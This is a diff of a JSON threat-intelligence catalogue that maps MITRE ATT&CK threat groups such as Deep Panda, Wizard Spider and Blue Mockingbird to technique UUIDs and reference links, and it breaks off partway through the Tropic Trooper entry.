-1140,7 +1162,7 @@ "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1175,7 +1197,7 @@ "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1196,35 +1218,28 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", + "dest-uuid": "5bfccc3f-2326-4112-86cc-c1ece9d8a2b5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "519630c5-f03f-4882-825c-3af924935817", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "a257ed11-ff3b-4216-8c9d-3938ef57064c", + "dest-uuid": "7b211ac6-c815-4189-93a9-ab415deca926", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1238,7 +1253,7 @@ "type": "uses" }, { - "dest-uuid": "6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1252,7 +1267,7 @@ "type": "uses" }, { - "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1266,14 +1281,7 @@ "type": "uses" }, { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1285,6 +1293,118 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "246fd3c7-f5e3-466d-8787-4c13d9e3b61c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "77eae145-55db-4519-8ae5-77b0c7215d69", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cc3502b5-30cc-4473-ad48-42d51a6ef6d1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e3b6daca-e963-4a69-aee6-ed4fd653ad58", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c2e147a9-d1a8-4074-811a-d8789202d916", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a0ebedca-d558-4e48-8ff7-4bf76208d90c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8be7c69e-d8e3-4970-9668-61de08e508cc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d2c7f8ad-3b50-4cfa-bbb1-799eff06fb40", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f0fc920e-57a3-4af5-89be-9ea594c8b1ea", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "36ede314-7db4-4d09-b53d-81bbfbe5f6f8", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "322bad5a-1c49-4d23-ab79-76d641794afa", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "93f52415-0fe4-4d3d-896c-fc9b8e88ab90", @@ -1304,14 +1424,14 @@ }, "related": [ { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1332,7 +1452,7 @@ "type": "uses" }, { - "dest-uuid": "d3df754e-997b-4cf9-97d4-70feb3120847", + "dest-uuid": "f6ad61ee-65f3-4bd0-a3f5-2f0accb36317", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1360,7 +1480,7 @@ "type": "uses" }, { - "dest-uuid": "d21a2069-23d5-4043-ad6d-64f6b644cb1a", + "dest-uuid": "a6937325-9321-4e2e-bb2b-3ed2d40b2a9d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1374,7 +1494,7 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1388,14 +1508,14 @@ "type": "uses" }, { - "dest-uuid": "6ff403bc-93e3-48be-8687-e102fdba8c88", + "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1408,13 +1528,6 @@ ], "type": "uses" }, - { - "dest-uuid": "c41a8b7c-3e42-4eee-b87d-ad8a100ee878", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", "tags": [ @@ -1428,6 +1541,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "c41a8b7c-3e42-4eee-b87d-ad8a100ee878", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "8a831aaa-f3e0-47a3-bed8-a9ced744dd12", @@ -1458,49 +1578,42 @@ }, "related": [ { - "dest-uuid": "51dea151-0898-4a45-967c-3ebee0420484", + "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7d6f590f-544b-45b4-9a42-e0805f342af3", + "dest-uuid": "4cbc6a62-9e34-4f94-8a19-5c1a11392a49", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "6aabc5ec-eae6-422c-8311-38d45ee9838a", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "20138b9d-1aac-4a26-8654-a36b6bbf2bba", + "dest-uuid": "2b742742-28c3-4e1b-bab7-8350d6300fa7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1514,7 +1627,7 @@ "type": "uses" }, { - "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1535,7 +1648,7 @@ "type": "uses" }, { - "dest-uuid": "ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1563,7 +1676,7 @@ "type": "uses" }, { - "dest-uuid": "6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1584,21 +1697,21 @@ "type": "uses" }, { - "dest-uuid": "68f7e3a1-f09f-4164-9a62-16b648a0dd5a", + "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0", + "dest-uuid": "232a7e42-cd6e-4902-8fe9-2960f529dd4d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1612,7 +1725,7 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1626,28 +1739,28 @@ "type": "uses" }, { - "dest-uuid": "03259939-0b57-482f-8eb5-87c0e0d54334", + "dest-uuid": "eb125d40-0b2d-41ac-a71a-3229241c2cd3", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "dest-uuid": "bf176076-b789-408e-8cba-7275e81c0ada", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1661,7 +1774,7 @@ "type": "uses" }, { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1682,14 +1795,42 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "6e3bd510-6b33-41a4-af80-2d80f3ee0071", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", + "dest-uuid": "4fe28b27-b13c-453e-a386-c2ef362a573b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ef67e13e-5598-4adc-bdb2-998225874fa9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1707,7 +1848,7 @@ "https://attack.mitre.org/groups/G0009", "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/", "https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/", - "https://www.emc.com/collateral/white-papers/h12756-wp-shell-crew.pdf", + "https://www.rsa.com/content/dam/en/white-paper/rsa-incident-response-emerging-threat-profile-shell-crew.pdf", "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-black-vine-cyberespionage-group.pdf", "https://web.archive.org/web/20171017072306/https://icitech.org/icit-brief-chinas-espionage-dynasty-economic-death-by-a-thousand-cuts/" ], @@ -1743,7 +1884,7 @@ "type": "similar" }, { - "dest-uuid": "68f7e3a1-f09f-4164-9a62-16b648a0dd5a", + "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1771,14 +1912,14 @@ "type": "uses" }, { - "dest-uuid": "00d0b012-8a03-410e-95de-5826bf542de6", + "dest-uuid": "b0533c6e-8fea-4788-874f-b799cacc4b92", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "ffe742ed-9100-4686-9e00-c331da544787", + "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1798,13 +1939,6 @@ ], "type": "uses" }, - { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "03342581-f790-4f03-ba41-e82e67392e23", "tags": [ @@ -1827,7 +1961,7 @@ "type": "uses" }, { - "dest-uuid": "9b99b83a-1aac-4e29-b975-b374950551a3", + "dest-uuid": "70e52b04-2a0c-4cea-9d18-7149f1df9dc5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1848,21 +1982,21 @@ "type": "uses" }, { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "c16e5409-ee53-4d79-afdc-4099dc9292df", + "dest-uuid": "5d0d3609-d06d-49e1-b9c9-b544e0c618cb", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf", + "dest-uuid": "cbb66055-0325-4111-aca0-40547b6ad5b0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1872,6 +2006,216 @@ "uuid": "a653431d-6a5e-4600-8ad3-609b5af57064", "value": "Deep Panda - G0009" }, + { + "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) is financially motivated group that has been conducting ransomware campaigns since at least August 2018, primarily targeting large organizations. (Citation: CrowdStrike Ryuk January 2019)", + "meta": { + "external_id": "G0102", + "refs": [ + "https://attack.mitre.org/groups/G0102", + "https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/", + "https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html", + "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/" + ], + "synonyms": [ + "Wizard Spider", + "TEMP.MixMaster", + "Grim Spider" + ] + }, + "related": [ + { + "dest-uuid": "ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "00806466-754d-44ea-ad6f-0caf59cb8556", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "32066e94-3112-48ca-b9eb-ba2b59d2f023", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bf90d72c-c00b-45e3-b3aa-68560560d4c5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a020a61c-423f-4195-8c46-ba1d21abba37", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03342581-f790-4f03-ba41-e82e67392e23", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2aed01ad-3df3-4410-a8cb-11ea4ded587c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "767dbf9e-df3f-45cb-8998-4903ab5f80c0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "63c2a130-8a5b-452f-ad96-07cf0af12ffe", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "dd2d9ca6-505b-4860-a604-233685b802c7", + "value": "Wizard Spider - G0102" + }, { "description": "[Dust Storm](https://attack.mitre.org/groups/G0031) is a threat group that has targeted multiple industries in Japan, South Korea, the United States, Europe, and several Southeast Asian countries. (Citation: Cylance Dust Storm)", "meta": { @@ -1973,7 +2317,7 @@ "type": "uses" }, { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1994,21 +2338,21 @@ "type": "uses" }, { - "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", + "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "20138b9d-1aac-4a26-8654-a36b6bbf2bba", + "dest-uuid": "2b742742-28c3-4e1b-bab7-8350d6300fa7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2057,7 +2401,7 @@ "type": "uses" }, { - "dest-uuid": "c23b740b-a42b-47a1-aec2-9d48ddd547ff", + "dest-uuid": "e624264c-033a-424d-9fd7-fc9c3bbdb03e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2071,7 +2415,7 @@ "type": "uses" }, { - "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "dest-uuid": "ef67e13e-5598-4adc-bdb2-998225874fa9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2085,14 +2429,14 @@ "type": "uses" }, { - "dest-uuid": "6ff403bc-93e3-48be-8687-e102fdba8c88", + "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "dest-uuid": "359b00ad-9425-420b-bba5-6de8d600cbc0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2124,29 +2468,196 @@ "value": "Night Dragon - G0014" }, { - "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) is an unaffiliated threat group that has led targeted campaigns against targets in Taiwan, the Philippines, and Hong Kong. [Tropic Trooper](https://attack.mitre.org/groups/G0081) focuses on targeting government, healthcare, transportation, and high-tech industries and has been active since 2011.(Citation: TrendMicro Tropic Trooper Mar 2018)(Citation: Unit 42 Tropic Trooper Nov 2016)", + "description": "[Blue Mockingbird](https://attack.mitre.org/groups/G0108) is a cluster of observed activity involving Monero cryptocurrency-mining payloads in dynamic-link library (DLL) form on Windows systems. The earliest observed Blue Mockingbird tools were created in December 2019.(Citation: RedCanary Mockingbird May 2020)", "meta": { - "external_id": "G0081", + "external_id": "G0108", "refs": [ - "https://attack.mitre.org/groups/G0081", - "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/", - "https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/" + "https://attack.mitre.org/groups/G0108", + "https://redcanary.com/blog/blue-mockingbird-cryptominer/" ], "synonyms": [ - "Tropic Trooper", - "KeyBoy" + "Blue Mockingbird" ] }, "related": [ { - "dest-uuid": "dc27c2ec-c5f9-4228-ba57-d67b590bda93", + "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e", + "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "910906dd-8c0a-475a-9cc1-5e029e2fad58", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cd25c1b4-935c-4f0e-ba8d-552f28bc4783", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "dcaa092b-7de9-4a21-977f-7fcb77e89c48", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "afc079f3-c0ea-4096-b75d-3f05338b7f60", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ffeb0780-356e-4261-b036-cfb6bd234335", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "73a80fab-2aa3-48e0-a4d0-3a4828200aee", + "value": "Blue Mockingbird - G0108" + }, + { + "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) is an unaffiliated threat group that has led targeted campaigns against targets in Taiwan, the Philippines, and Hong Kong. [Tropic Trooper](https://attack.mitre.org/groups/G0081) focuses on targeting government, healthcare, 